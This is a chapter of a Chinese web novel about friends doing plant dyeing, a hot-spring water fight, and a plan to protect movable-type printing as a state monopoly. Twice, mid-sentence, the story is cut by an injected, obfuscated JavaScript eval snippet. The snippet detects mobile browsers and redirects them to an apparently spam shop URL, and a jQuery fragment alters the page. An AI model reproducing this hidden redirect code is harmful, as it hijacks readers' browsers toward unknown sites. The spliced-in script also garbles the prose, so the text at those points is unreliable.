我呵呵一笑,道我们北边的汉子都这样,不过韩燕熙这人确实还行,只是感情太热烈,太激进,又太喜欢玩笑,以前捉弄我也是常有的,对平安虽然收敛,但有时过分起来未免过火,虽称不上孟浪,到底近乎调戏,让平安感觉太压迫了,以至于不能好好相处。这阵子倒有目共睹的好起来了,我和平安只道他有了官身果然不一样了。 平安在韩燕熙身边小心扶着布匹,以免掉到地上沾了尘土,然后一起到晾布架下,韩燕熙挥着结实壮硕的长臂用力向上一扔,布匹跨过横杆,随风展开,像瀑布一样落下。 真美啊……大家都称赞不已。 齐王惠王看着草木染清新雅致,便也要做一套,叫人去拿新的蚕丝素布来,韩燕熙也凑热闹讨要一套。 旦公公取来好些布匹,他带着宫人们去采摘了好多草木叶子,然后差人搭建晾布架。 草木染很有意思,齐王惠王也跃跃欲试,于是众人一起敲敲打打,说说笑笑,我们用明矾水固色,使用的是大木盆,漂洗的时候直接在汤泉池子里。一开始齐王和惠王只是系着襻膊做事,后来开始漂洗布匹时,就下了池子,便也学韩燕熙一般光了膀子。这也没什么,汉家儿郎干起活儿来都这样,之前去稷麦田种地的时候,连太子在内也都是光膀子干活儿的。 花铁铁见多识广,这种情形不觉得有啥,只平安对着两位亲王不好意思起来,跑去内室和翡翠赶工花铁铁的抹胸。 汤泉宫的汤泉也是分等级的,丛芳园的汤泉水是分支中的分支,还是下游,就算是用来漂洗草木染有些不合规矩,倒也不伤大雅,毕竟:法无禁止皆可为。而且是给齐王惠王做的,他们也参与其中……天塌下来,个儿高的顶着! 柳花郎早醒了,大概是在花铁铁追忆往事的中后半段,他就醒了,只是一直装晕不敢醒。毕竟是和花铁铁撞个满怀,就能吓晕过去的程度,花铁铁在他心里形成的阴影和创伤不是那么容易就修复的。我和花铁铁只当不知道,由着他装。 翡翠把花铁铁的抹胸做好了,平安用法式刺绣给花铁铁绣花大姐胸针。花铁铁就穿戴上了,开心的不得了。 我羡慕的看着花铁铁的胸针,道:“平安对你真是好,她很害怕虫子的,却因为你是我的花大姐,就把花大姐绣的这么精致可爱,你以后要和我一起好好疼她爱她宠溺她哈,不许欺负她哦。” “自然不用你说,我比你还会护犊子。”花铁铁说完转头对着平安道:“平安妹妹要不你给你哥绣个蛔虫吧,她都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳花郎本能一抓,把一边儿的惠王抓下了水,连带着惠王身边齐王也被惠王本能的反应拉了下去,我和韩燕熙赶紧下去把惠王和齐王扶起站好,然后才把乱扑腾的柳花郎捞起来,见他没事,就关心齐王惠王,要是把这两个贵人给呛水淹死了,我们就全完了。我实在生气,拽着花铁铁脚脖子就给她抡下池子…… 这种情况肯定是免不了打水仗的,我和花铁铁互相泼水,有花铁铁在男人们是不好参与的,不好帮我挡水,也不好帮我泼水,可花铁铁向来喜欢人多热闹,韩燕熙都把惠王齐王抚上岸了,柳花郎也爬上池子边了,又都给花铁铁拉了下来…… 那就,别怪他们不客气了……男人至死是少年,别看平时端庄持重,其实玩心重的很,尤其这些贵公子,小火苗儿虽然藏得紧,但只要适时撩拨,轻易就成燎原之势。泼水仗这种最能勾起胜负欲的活动,是个血性男儿,谁抗的住,那必定就是一个字——干! 我们有韩燕熙,以一当十,我信心满满,可是……对方是花铁铁,以一敌百…… 99. 梦华 花铁铁太勇猛了,两只胳膊抡得和风火轮一样,也就打水仗作战经验还算丰富的韩燕熙能招架一下,我们只能从旁助攻,对花铁铁不起丝毫作用。 一番激战,最后我们阵营败势已成,最终溃不成军,被花铁铁逼到角落,弱鸡子似的,瑟瑟发抖,几乎毫无反抗之力,花铁铁却并不罢休,连我想要认输投降都不给机会说出口。穷寇莫追,她没玩够,于是偏要反其道而行,乘胜追击,企图逼得我们穷途末路,绝地反击,才过瘾。 我草,我们是真没劲儿了,大姐。我们虽然人多,但都是幼弱残兵,我们就只有一个身体健硕但精神状态不太稳定的韩燕熙!刚才他就敌我不分,又攻击我来着!好在被惠王齐王扼制的同时,给花铁铁的攻击攻上头了!最终确定了唯一的反攻目标。 可韩燕熙是个响堂堂的大男人,不肯认输,惠王看着韩燕熙孤军奋战,也不好意思终止战役,只能硬上。 柳花郎就舍命陪君子呗,只见他侧着身子别着头,红着眼睛光想哭,面无表情,生死由命的样子,手上好死不死的撩着水,朝花铁铁的方向泼,却一滴也没泼到花铁铁身上去,那能泼上吗?水花还没尿花高。我气得不行,暗骂:实在不行你脱裤子尿吧!不带那个样儿,就别玩了! 走神的功夫,护在我身前的齐王就给花铁铁泼得背过气去了,转过身子想松缓一下,却一个没站稳,倒在我身上,可我太矮了,他几乎扑进水里,我俩相扶相持一番挣扎,刚站稳的刹那间,忽然有什么硬邦邦的东西从我脸上划过,齐王又慌张地摔倒趴进水里,呛了一大口水,咳嗽着喘不上气。 见事不好,我赶紧喊停,声音却被瓢泼似的水花,泼地断断续续:“停,我大樟郎受不住啦,不要泼啦,不要,停,停不要,快,不要,停……” 旦公公急得不行,下水来和我一起一左一右撑着齐王,一起喊:“不要,快,不要,停,快快快,不要,停,快……” 唉,喊得稀碎啊! 旦公公没来得及宽衣,衣服兜水,行动十分不便,在花铁铁猛烈地袭击下,我们三个大喊大叫,跌跌撞撞,慌慌张张,东倒西歪,乱七八糟…… 齐王生无可恋的样子,我和旦公公更加紧张激动,手上力度加重,嘴里的喊声更大,完全没听见已经脚软的齐王呜咽着什么,后来才知道,齐王其实只是简简单单地想用手把脸上的水挥去,可是双臂却牢牢给我和旦公公钳制着,他当时真的有那么一刻要给憋死了,于是最终完全脚软跌入水中,使尽全力呼出的几句破碎的呼救声也给我们更加破碎的喊停声湮灭了…… 好多年之后,他还在不甘地回想,那一刻,他别无他想,真的别无他想,真的真的什么想法都没了,仅仅只是想把脸上的水胡噜一下,就一下…… 那边战事胶着,其实结局已定,男人们只是还在苟延残喘地为维护尊严之战而僵持着。 不知谁喊了一句,男人怎么能输给女人呢?兄弟们给我上…… 柳花郎,韩燕熙,惠王,男儿血性瞬间就上来了,他们可不想落得跟齐王一样狼狈,头脑一热,越挫越勇,我当时看了他们疯狂抡臂泼水的样子,都怕他们把胳膊甩飞了,感觉就算这汤泉池子是有泉眼的源源不断的活水,下一刻也得让他们泼干了不可。 平安本来是和翡翠一道趴在轩窗台上嘻嘻哈哈笑着看热闹的,却发现一边儿都快晾干的草木染又都给泼湿了,瞬间怒了,河东一声吼…… 我们终于得救了……齐王都要憋得哭了,红红的眼睛,满脸委屈,不停的咳嗽着,旦公公庆幸,哭着说平安姑娘大德,再多玩哪怕一小会儿,他家王爷也受不住了。 兴奋过后是虚脱,花铁铁和我缓了缓,帮他们震干了头发,又帮他们吸了吸耳朵里面的水,把草木染也震干收进来放好,明天就可以缝制床单被套和枕头了。 忽然柳花郎大惊失色,手在胸前拍了拍,又伸进怀里摸了摸,大叫不妙。说有很重要的东西掉进汤泉池子里了,我赶紧下去帮他找,不多时,在池子边上找到一个卷轴,他轻手轻脚接过去,小心翼翼的打开罩子,原来是一个十分精致的鱼鳞装卷轴。 还好还好,宣纸是不怕水的,墨和颜料也不怕。将鱼鳞装在书案上展开铺平,花铁铁用内力缓缓震干抚熨平整,鱼鳞装的页片就随着轩窗外的清风浮动。 鱼鳞装是一片一片的宣纸书页,错落层叠开来封装好的,铺开卷轴,整体看是一幅画,翻开书页,其中或书或画各有天地,工序麻烦,工艺精绝。 柳花郎带来的这幅鱼鳞装封套都用了绞了金线的缂丝工艺,其他所用材质自不用说了。 这卷鱼鳞装是特地给平安准备的私定惊喜,若不是掉进水了,我们怕是没机会一睹为快,不过平安也坦荡,愿意和我们一同分享。 鱼鳞装的封面画是长安城西市万园街夜市盛况。画面采用叙事风格,首先是那日夜游的情形,一入万园街,各个园子各条街上都有平安和郑清手牵手四处游转的身影,他们一起看烟火,一起吃小吃,一起放花灯……当然也有我,堂邑夫,柳花郎,齐王,惠王,甚至还有翡翠,带着面具跟随在后。 画卷最中心是花小楼,楼中人物个个生动逼真,李大娘子忙活着招徕客人,平安和郑清在一楼大厅里荡秋千,朝天阙的虞三娘正带人送锅子来,我和堂邑夫在向她索要见面礼,后园戏台子上乐队正在演唱,台子下平安和郑清并肩坐着…… 三楼包间上更是画了我们平时齐聚饮乐的场景,连猪长平都在画上……当然她的貂儿也在,整整齐齐的坐在三楼包间遮台的木栏杆上,还有很多小小的点点,隐约能看出是小貂儿的样子,我说,这该不会是貂儿还没出生的孩子吧。齐王一脸这你都能看出来的样子。 柳花郎说我猜的没错,就是貂宝宝。 可是用几个黑黑的小点点代替,是不是太潦草了些?平安呵呵笑着说,很可爱。那既然我妹妹喜欢,自然就是合适的,甚至极好的。 齐王和惠王觉得画上那些个梳着总角的我,画得都不够灵气,我倒是觉得还好,只看了看戏台后因吃辣比赛而辣得红彤彤的堂邑夫,和包间里举杯宴饮的,屏风后隐约可见的刘景和太子等贵人,然后寻找李椒的身影…… 韩燕熙越看脸越黑,看着心爱的人和别人到处成双成对,心里肯定是不痛快的,可他却只是很生气的问为什么单单要画平安抱着猪长平的那天,那天平安并不快乐,还把他画到那么角落的地方,我顺着他的手指看了看屏风后末席角落里的太子伴读们,正和我一同吃着朝天阙的锅子,画上的韩燕熙辣得脸红,侧脸喝着冰梅子饮。整幅画上他只出现这一次,还没给正脸,我想这才是他计较的重点。 而我的注意力都集中在了那个我找了半天,才终于寻见的,只漏了小半个身子隐约是的身影上。 平安轻轻地抚摸着画上盛装打扮的猪长平,道:因为花郎知道,我想它了。 众人都知道平安对猪长平的宠爱。我拉了拉韩燕熙,示意他不要过分计较。 花铁铁惋惜画上没有她。 然后便是我们游船的情形,和平时我们各园中休闲娱乐的场景,打台球,滑轮滑,玩回旋镖…… 末了是我们在城外上林苑,面相朝阳,红尘作伴,策马奔腾,潇潇洒洒享尽人世繁华的样子。 我喜欢这个画面,便问是哪位画师画的。柳花郎得意的扬了扬头,指了指自己。众人自然对柳花郎赞叹一番。 平安简直不敢相信,拉着柳花郎不断确认。柳花郎说他虽然出身音乐世家,但自幼兴趣广泛,除了音乐最爱画画,可是有十年国画五年素描底子的老画手。素描是什么东西?不过,本着不懂装懂不露怯就是懂的原则,众人都闭口不问。 平安简直崇拜柳花郎崇拜成星星眼了。可是我觉得有十几年的绘画功底儿还把我画成那样,难怪齐王惠王不满意。见他正得意,我就不泼冷水了,跟着众人一起同赞赏,让他更加扬眉吐气,毕竟他实在别出心裁,真的满腹才华。 我轻轻翻开鱼鳞装册页,里面是一首首歌词,撒金蜡染,格调卓然,细细嗅一下,还有墨香和熏香,无不透露着用心二字。柳花郎要显摆的东西,果然皆非凡品。 平安对鱼鳞装的喜爱溢于言表,恍然道:怪不得之前柳花郎老是旁敲侧击,询问平安要是有一幅画,平安想画什么,还让平安细细说来,说得越细越好,原来是要记录下来,按照平安的心意,制作成这副光景画,给鱼鳞装歌词选集做封面。 众人羡慕极了,都想要定制属于自己的鱼鳞装,于是纷纷取来纸笔,打算将自己想定制的内容写下来。 趁着这空挡,柳花郎将他接下来的商业计划,与我详谈。 我综合柳花郎的提议,思考了一下,看了看鱼鳞装,又看了看活字印刷的歌词选集,建议他将活字印刷技术交给官书局,像盐铁金银矿产等一样,用作大汉官家技术加以保护垄断,我倒不担心平安说的对历史发展进程有什么影响,我只关注这项技术对眼下的影响。 柳花郎舍不得交出去。我道舍不得交也得交,早晚都得交,与其闹到最后技术泄露不好把控,官家出来收拾烂摊子时再交,不如现在主动交。 这种先进便利的技术若非官府掌握,很快就会在民间争相模仿盛行起来,不管用作印书还是印歌词还是印其他什么,它的效率都太惊人了,都将带来一场由技术变革引起的巨大冲击,所以面世前,必须先由官府提前牢牢把控,严防外泄。 见他还是苦恼不应成,我便细细开解娓娓道来,和他剖析透这项技术为什么不可以掌握在我们小作坊手里:大的层面不说,就说小的,如今他的歌已经很多人都在唱,没有新式乐队伴奏,他们用琵琶古筝笛子洞萧伴奏也不失风味,就算清唱也有很多人愿意听,茶楼里卖唱的不必说了,外面撂地儿的都因此赚了不少钱,只是咱们可怜他们谋生不易,从来不追究也就算了。 但既然咱们要做歌词的买卖,就要留心了。印刷版歌词选集一面世,这下市面上就有了完整详尽且正确无误的歌词,随便一个乐人都能谱上曲子,那时便是人人皆可传唱。 到时候一定有人拿了柳花郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050393|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的原版歌词作为母本,再借助偷师他的活字印刷,印得更快,流行更广,价钱会贬值的非常廉价,且市井小民私相传阅,他挣得钱反而越来越少。之前他已经给人钻过空子了,同样的亏不能吃两回,不然就不是别人坏,而是自己蠢。 我建议他以后只做鱼鳞装,只做珍藏版定制版歌词选集。 柳花郎立即明白其中要义,恍然大悟,先不说北汉,他的歌在南唐风靡,普通人只做消遣娱乐,只是觉得好听。而真正喜欢并沉迷他歌曲的人,大多也是贵族,爱情是人中龙凤才给得起的东西,也正是这些人中龙凤才读得懂柳花郎歌曲的真谛。 而作为上流社会的贵族,他们都是有品味的,喜欢风雅脱俗,稀缺之物。做一些烂大街的东西不仅不会帮柳花郎赚钱,还会降低格调,流失大批贵族客户,实在得不偿失。 柳花郎是会算账的,一个定制鱼鳞装,可以卖十几两几十两银子,用顶好的材料,甚至可以卖到上百两,若是再别出心裁,就算是金子,怕是也有人愿意出高价的。 柳花郎夸赞我不但有商业头脑,居然还有版权意识和技术垄断意识,可他那种优越感又伤害到了我。我于是转了转眼睛,警告他鱼鳞装里面的文字手写即可,不许使用活字印刷技术,严防这项技术从我们的作坊里外泄。上交官府外泄是官家的事儿,再有什么事儿,都和我们没关系。 柳花郎实在不解。我阴沉道:要是外泄出去,那些人光用活字印刷印制歌词选集也就算了,咱们顶多是少赚点钱而已。可万一有人用这项技术印点不该印的东西,四散传将出去,那咱们可吃不了兜着走,文字的力量是巨大的。 南唐那边前些年的文字狱,柳花郎怎会不知道呢?果然,炎热的夏天,他却面如土色吓出一身冷汗来。 哼哼,吓不死你,看你还敢优越不?! 活字印刷这事正好由韩燕熙出面对接,柳花郎还因此获得朝廷嘉奖。他的鱼鳞装在北汉销路不错,在南唐由巨商方连生接洽操作,更是赚得盆满钵满。当然这是后话。 我给柳花郎倒了杯茶,叫他压压惊。那边看着众人忙碌,花铁铁有些讪讪,因为她不想要什么歌词,也不知道要定制画什么,平安宽慰她道可以不要歌词,留作手札,平时想写点什么就写点什么,至于想画的内容总会有的。 花铁铁笑了笑,抬头看向窗外,我过去抱着她,花铁铁把下巴抵在我的头上,低声说她想要定制的鱼鳞装封图,是要有她师父师姐师兄的,还有杜晦……可是这些人柳花郎都没见过,画不出来的…… 我心下一揪…… 那边研好墨汁,落笔的时候,众人又都不下笔写了,你看看我我看看你。都是藏不住事儿的年纪藏不住事儿的人,各怀心思的样子都写在了脸上,我立即了然,这些人怕是有什么想画的,却不想暴露,于是顾虑起来。 我也不管他们,只跟柳花郎预定了三个空白鱼鳞装,我画工好我要自己画。 韩燕熙把柳花郎叫到一边不知道说了些什么,惠王也把柳花郎叫到一边神神秘秘的样子不知道说了什么。齐王没和柳花郎单独交谈,只说要一套鱼鳞装,里面册页添上歌词就好,封面他也要自己画。齐王的画工也是极好的,我们小时候曾一起作画。惠王一听,也要自己画。韩燕熙一听,转了转眼睛,想了想,说算了,他也自己画吧。 若是寻常人定制鱼鳞装,柳花郎自然是我们作坊的找画师来画,可若是给这些交情深的贵人做定制画,他就得亲自操刀了,不过这下好了,他们各有安排,柳花郎乐得清闲,忽然他想到了什么,于是向我确定,问我要的是全空白的,还是和齐王他们一样。我道我要全空白的,我打算用鱼鳞装给平安装备压箱底儿的嫁妆。 众人自然明白我要画什么了。只有花铁铁一脸茫然,平安红着脸过来抱着我,亲了亲道:“长安,属你最贴心,不过画三副你会不会太累,我怕……”平安嘴上这样说着,可面上全是贪婪的可爱扭捏之态。 我用手点了点她的额头,道:“别痴心妄想,三幅不都是你的,还有一副是花铁铁的。” 花铁铁问:“什么?还有我的,你要画什么给我?” “自然是要画你想画的,我虽没见过你师父师兄师姐,但是你描述一下,我就能画出来,画不像,就多画几次,画到你觉得像为止……”我道。 花铁铁感动的不行,把我从平安怀里拉过去又亲又抱,我赶忙在她把我再次亲臭之前逃离。 “那剩下那副你画什么?”众人问。 我道:“我要画我的回忆录,我要把我的回忆都画下来……” 最好的年华,最好的你们,和最好的我…… 我要柳花郎把我的那副鱼鳞装要做的长一些,册页要很多很多……目前可以做多长,就给我做多长,实在不行,也可以分开装裱,不必为难,我可以分开上下部画,也可以分更多部画。 柳花郎找最好的鱼鳞装匠人,最多做到了九十九页,于是《长安回忆录》系列一第一部《长安梦华录·凡界(上)》就应运而生了!!!